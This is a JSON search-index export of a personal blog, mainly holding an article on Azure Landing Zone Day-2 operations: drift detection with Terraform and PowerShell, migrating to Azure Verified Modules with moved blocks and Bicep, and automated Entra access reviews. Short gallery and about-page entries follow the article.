style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='420' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='340' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='420' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='340' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='340' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='420' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='340' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='420' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='420' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eContinuous Auditing\u003c/strong\u003e ensures that manual \u0026ldquo;out-of-band\u0026rdquo; changes are detected and documented.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePolicy Remediation\u003c/strong\u003e allows the platform to self-heal without manual engineering effort.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePeriodic Evolution\u003c/strong\u003e (Review/Evolve) incorporates new Azure features and module updates (like AVM) into the established foundation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"detecting-state-and-policy-drift\"\u003eDetecting State and Policy Drift\u003c/h3\u003e\n\u003cp\u003eDrift takes two forms: IaC state drift (the gap between code and reality) and Policy drift (compliance violations).\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eTerraform Refresh-Only\u003c/strong\u003e:\nDetect manual portal changes without modifying resources:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eterraform plan --refresh-only -no-color 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e | tee drift-output.txt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003ePowerShell Policy Audit\u003c/strong\u003e:\nIdentify non-compliant resources across your hierarchy:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$nonCompliant = Get-AzPolicyState -ManagementGroupName \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;mg-intermediate\u0026#34;\u003c/span\u003e -Filter \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;complianceState eq \u0026#39;NonCompliant\u0026#39;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$nonCompliant | Group-Object -Property policyDefinitionName | Select-Object Name, Count\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"scheduling-scans-in-github-actions\"\u003eScheduling Scans in GitHub Actions\u003c/h3\u003e\n\u003cp\u003eRun drift scans weekly and automatically open a GitHub Issue when deviations are found. This ensures drift is triaged during sprint planning rather than accumulating indefinitely.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"the-migration-path-moving-to-avm\"\u003eThe Migration Path: Moving to AVM\u003c/h2\u003e\n\u003ch3 id=\"safe-refactoring-with-moved-blocks\"\u003eSafe Refactoring with \u003ccode\u003emoved\u003c/code\u003e Blocks\u003c/h3\u003e\n\u003cp\u003eThe legacy CAF Terraform module is archived as of \u003cstrong\u003eAugust 2026\u003c/strong\u003e. Migrating to AVM modules is a requirement for continued support. Use the \u003ccode\u003emoved\u003c/code\u003e block to remap resource addresses without destruction:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emoved\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  from \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eenterprise_scale\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eazurerm_management_group\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003elevel_1\u003c/span\u003e[\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;mg-platform\u0026#34;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  to   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003emanagement_groups_avm\u003c/span\u003e[\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;mg-platform\u0026#34;\u003c/span\u003e].\u003cspan style=\"color:#66d9ef\"\u003eazurerm_management_group\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003ethis\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"bicep-avm-subnets\"\u003eBicep AVM subnets\u003c/h3\u003e\n\u003cp\u003eWhen moving to Bicep AVM, ensure your template matches the new schema:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e hubVnet \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;br/public:avm/res/network/virtual-network:0.10.0\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;hub-vnet-avm\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  params: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;conn-hub-vnet\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// AVM uses an array of objects for subnets\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subnets: [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      { name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;AzureFirewallSubnet\u0026#39;\u003c/span\u003e, addressPrefix: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;10.0.0.0/26\u0026#39;\u003c/span\u003e }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"governance-and-identity-lifecycle\"\u003eGovernance and Identity Lifecycle\u003c/h2\u003e\n\u003ch3 id=\"quarterly-rbac-and-pim-reviews\"\u003eQuarterly RBAC and PIM Reviews\u003c/h3\u003e\n\u003cp\u003eLanding zones accumulate orphaned role assignments for deleted service principals. Run a quarterly audit to find and remove these entries.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAutomated Access Reviews\u003c/strong\u003e:\nConfigure Entra ID to automatically revoke access if not explicitly approved by a lead:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz rest --method POST \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --uri \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://graph.microsoft.com/v1.0/identityGovernance/accessReviews/definitions\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --body \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;{\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \\\u0026#34;displayName\\\u0026#34;: \\\u0026#34;Quarterly Platform Role Review\\\u0026#34;,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \\\u0026#34;scope\\\u0026#34;: {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      \\\u0026#34;query\\\u0026#34;: \\\u0026#34;/subscriptions?\\$filter=startsWith(displayName, \u0026#39;lz-\u0026#39;)\\\u0026#34;,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      \\\u0026#34;queryType\\\u0026#34;: \\\u0026#34;MicrosoftGraph\\\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    },\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \\\u0026#34;settings\\\u0026#34;: {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      \\\u0026#34;defaultDecision\\\u0026#34;: \\\u0026#34;Deny\\\u0026#34;,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      \\\u0026#34;autoApplyDecisionsEnabled\\\u0026#34;: true\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e  }\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"networking-evolution\"\u003eNetworking Evolution\u003c/h3\u003e\n\u003cp\u003eUpgrading Azure Firewall from Standard to Premium is a \u003cstrong\u003ezero-downtime\u003c/strong\u003e operation using the \u0026ldquo;Easy SKU change\u0026rdquo; method. Premium is required for TLS inspection and IDPS (Intrusion Detection and Prevention).\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAudit Before Deny\u003c/strong\u003e: Set new policies to \u003ccode\u003eAudit\u003c/code\u003e for 7 days before switching to \u003ccode\u003eDeny\u003c/code\u003e to avoid blocking active workloads.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBatch Remediation\u003c/strong\u003e: When fixing thousands of resources, batch your remediation tasks by resource group to avoid ARM API throttling.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCanary Subscriptions\u003c/strong\u003e: Test every AVM module upgrade in a \u003ccode\u003eSandbox\u003c/code\u003e subscription before applying it to the production management groups.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/governance-and-operations\"\u003eCAF Governance and Operations\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/language/modules/develop/refactoring\"\u003eTerraform Refactoring Documentation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources\"\u003eAzure Policy Remediation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eYou have completed the core series. Use the Day-2 Ops patterns established here to ensure your landing zone remains a reliable foundation for your application teams.\u003c/p\u003e\n","description":"Operate and evolve your Azure Landing Zone. Covers automated drift remediation, RBAC reviews, and migrating to Azure Verified Modules (AVM).","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-landing-zone-ops/","title":"Azure Landing Zone Day-2 Ops: Maintenance and Evolution"},{"content":"","description":"My gallery :earth_asia:","image":null,"permalink":"https://larryjameshenry.com/gallery/","title":"Image Gallery"},{"content":"\u003cp\u003eI am a Senior DevOps Engineer and Azure Solutions Architect specializing in Platform Engineering and PowerShell automation. My mission is to help organizations build governed, scalable, and production-ready Azure environments using modern Infrastructure as Code (IaC) patterns like Terraform and Bicep.\u003c/p\u003e\n\u003cp\u003eWith over a decade of experience in the Microsoft ecosystem, I focus on the \u0026ldquo;Day 0\u0026rdquo; to \u0026ldquo;Day 2\u0026rdquo; lifecycle of cloud infrastructure, ensuring that security, governance, and cost-optimization are baked into every deployment.\u003c/p\u003e\n\u003ch3 id=\"core-technical-expertise\"\u003eCore Technical Expertise:\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAzure Platform Engineering (CAF/ALZ)\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePowerShell \u0026amp; Automation\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTerraform \u0026amp; Bicep (AVM)\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDevOps CI/CD (GitHub Actions/ADOs)\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCloud Governance \u0026amp; Policy\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Senior DevOps Engineer and Azure Solutions Architect specializing in Platform Engineering and PowerShell automation.","image":"/images/larryjameshenry.webp","permalink":"https://larryjameshenry.com/about/","title":"About Larry James Henry"}]